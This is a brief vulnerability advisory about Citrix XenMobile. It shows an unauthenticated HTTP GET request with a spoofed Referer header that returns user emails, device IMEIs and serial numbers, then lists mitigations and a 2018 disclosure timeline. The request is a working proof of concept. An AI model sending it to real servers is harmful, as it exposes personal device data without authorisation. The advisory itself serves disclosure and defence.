Advisory

Overview

Data about users and devices, including email addresses and IMEI identifiers, can be obtained without authentication by making API calls:

    GET /zdm/rs/xdmServices/autoAction/execution/list HTTP/1.1
    Host: xenmobile.example.com
    Referer: https://xenmobile.example.com/zdm/cxf/xdmServices/login.jsp

Xen will return data which includes the following information about each user:

    actionData, activationDate, createdDate, deviceId, deviceImei, deviceSerial, id, model, osFamily, provisioningId, status, triggerData, userName

This is possible because XenMobile uses the Referer header to control access to the API. However, this value is fully in control of the attacker, so is an ineffective authentication mechanism.

Mitigation/further actions

1. Explore whether it is possible to require effective authentication before accessing this type of information
2. Remove public access to this service by moving it inside your network and configuring mobile devices to access it via a VPN or proxy that requires authentication
3. Install an update rectifying this issue as soon as one is available

Advisory timeline

1. 2018-03-28 – Reported to Citrix and acknowledged immediately
2. 2018-05-21 – Issue reported fixed